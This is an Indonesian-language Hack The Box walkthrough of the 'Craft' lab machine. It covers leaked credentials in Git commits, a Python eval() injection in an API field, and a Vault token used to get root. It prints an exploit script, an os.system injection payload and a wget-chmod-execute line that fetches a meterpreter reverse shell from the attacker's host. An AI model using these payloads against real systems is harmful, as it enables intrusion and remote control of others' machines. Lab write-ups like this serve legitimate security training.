Hack The Box - Walkthrough Craft. Kami menggali Git, mengeksploitasi kerentanan dalam API, berurusan dengan Vault

gambar

Pada artikel ini, saya akan mulai menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox . Saya berharap ini akan membantu setidaknya seseorang untuk berkembang di bidang keamanan informasi. Kami akan melihat bagaimana Anda dapat mengeksploitasi RCE di API, mempelajari repositori Gogs, bekerja dengan basis data, dan menangani penyimpanan rahasia dan sistem manajemen Vault.

Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)

Informasi Organisasi
Terutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:

  • PWN;
  • kriptografi (Crypto);
  • teknologi jaringan (Jaringan);
  • membalikkan (Reverse Engineering);
  • steganografi (Stegano);
  • pencarian dan eksploitasi kerentanan WEB.

Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.

Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi secara pribadi dan akan menjawab semua orang .

Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

Kecerdasan


Pemindaian port


Mesin ini memiliki alamat IP 10.10.10.110, yang saya tambahkan ke / etc / hosts.
10.10.10.110 craft.htb
Pertama-tama, kami memindai port terbuka menggunakan nmap, dan menentukan opsi -A untuk mendapatkan informasi sebanyak mungkin tentang layanan yang ditemukan.
 nmap -A craft.htb 

gambar

Pada mesin, kita melihat layanan ssh, serta server web yang berjalan pada port 443. Jika Anda pergi ke server web, maka kami ditawari untuk melihat API.

gambar

Ketika kami mencoba melihat API dan git, kami diberitahu tentang situs yang tidak dikenal.

gambar

Oleh karena itu, kami menambahkan kedua nama domain ke / etc / hosts.
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb


Sekarang kedua tautan terbuka. API Kerajinan seharusnya merupakan antarmuka untuk bekerja dengan API, jadi sebagai permulaan kita perlu mengetahui cara kerjanya, Gogs mana yang akan membantu kita.

gambar

Titik masuk


Pada git, hal pertama yang harus diperiksa adalah commit.

gambar

Setelah melewati komit, di 10e3ba4f0a kami menemukan data otentikasi pengguna.

gambar

Setelah masuk ke gogs dalam korespondensi, kami menemukan penyebutan tentang bug.

gambar

Dengan mengklik tautan, kami mengetahui bagaimana verifikasi terjadi pada fungsi eval (), yang sangat berbahaya, karena Anda dapat mengeksekusi kode dalam fungsi ini.

gambar

Untuk menguji hipotesis, di konsol python lokal kita akan membuat analog dari fungsi, dan mencoba memanggil fungsi "sistem ()" dari modul "os".

gambar

Kode berhasil dieksekusi! Sekarang Anda perlu menulis exploit untuk dapat kembali terhubung. Pada tahap pertama, salin kode untuk otentikasi dan penerimaan token.
 #!/usr/bin/env python import requests import json response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) json_response = json.loads(response.text) token = json_response['token'] headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' } # make sure token is valid response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False) print(response.text) # create a sample brew with bogus ABV... should fail. print("Create bogus ABV brew") brew_dict = {} brew_dict['abv'] = '15.0' brew_dict['name'] = 'bullshit' brew_dict['brewer'] = 'bullshit' brew_dict['style'] = 'bullshit' json_data = json.dumps(brew_dict) response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False) print(response.text) 

Dalam kode ini, beban kita dilewatkan dalam parameter "abv", jadi untuk memeriksa asumsi RCE kita mengganti string '15 .0 'dengan "__import __ (' os '). System (' ping your_ip ')".

Kami membuka tcpdump, yang menunjukkan antarmuka mana untuk mendengarkan dan memfilter parameter hanya paket ICMP dan meluncurkan exploit.

gambar

gambar

Kami mengamati bahwa kami dapat melakukan ping dari host jarak jauh. Sekarang kita membuang koneksi kembali. Itu bisa dilakukan melalui nc, tapi mari kita ambil shell meterpreter. Untuk melakukan ini, buat beban menggunakan msfvenom. Kami menentukan beban itu sendiri (reverse_tcp), host lokal dan port (LHOST, LPORT), dan format file elf.

gambar

Pada saat yang sama kami mengaktifkan server web lokal. Sekarang konfigurasikan pendengar di msfconsole. Untuk melakukan ini, atur parameter, seperti pada beban.

gambar

Kami mendengarkan koneksi yang masuk, sekarang kami perlu memuat beban pada host dan memulainya.
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
Di jendela metasplit, kita melihat koneksi masuk.

gambar

PENGGUNA


Ayo luncurkan shell dan lihat siapa yang bekerja di bawah.

gambar

Menurut kesimpulan terminal, kita dapat mengasumsikan bahwa kita berada di dalam wadah buruh pelabuhan. Lihatlah tuan rumah.

gambar

Ada file executable dbtest.py. Anda harus menontonnya.

gambar

Program terhubung ke database dan menjalankan perintah dengan output selanjutnya. Mari kita lihat-lihat database. Untuk melakukan ini, saya meluncurkan konsol python interaktif pada host dan menyalin semua kode ke dalamnya sebelum perintah dijalankan.

gambar

Sekarang kami akan meminta tabel.

gambar

Akibatnya, kami mengembalikan 2 catatan. Karena cursor.fetchone () menampilkan satu entri, kami akan melakukan dua keluaran seperti itu.

gambar

Jadi kami punya 2 meja. Lebih menarik adalah pengguna. Kami menampilkan semua data dari tabel ini.

gambar

Dan ada 3 entri di dalamnya.

gambar

Dan kami mendapat kredit pengguna. Setelah mencobanya di ssh dan gagal kami mencoba masuk ke git. Dan ternyata masuk sebagai gilfoyle. Dan dia memiliki repositori tertutup.

gambar

gambar

Direktori .ssh sangat menarik. Ada dua kunci, dan kami mengambil yang pribadi.

gambar

Kami mencoba terhubung melalui ssh dengan kunci ini.

gambar

ROOT


Hal pertama yang dilihat di direktori pengguna.

gambar

Kami menemukan token dari lemari besi.

gambar

Setelah berurusan dengan vault , saya akan mengatakan bahwa itu adalah sistem penyimpanan dan manajemen untuk rahasia yang berisi data dalam format kunci / nilai, yang diakses oleh token. Periksa apakah penyimpanan sudah diatur.

gambar

Mari kita lihat daftar rahasia .

gambar

Jadi, kita melihat bahwa akses ke ssh telah dikonfigurasi .

gambar

Sekarang kita memasukkan kata sandi satu kali yang diberikan kepada kita dan kita berada di sistem sebagai root.

gambar

Anda dapat bergabung dengan kami di Telegram . Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

Source: https://habr.com/ru/post/id482970/


All Articles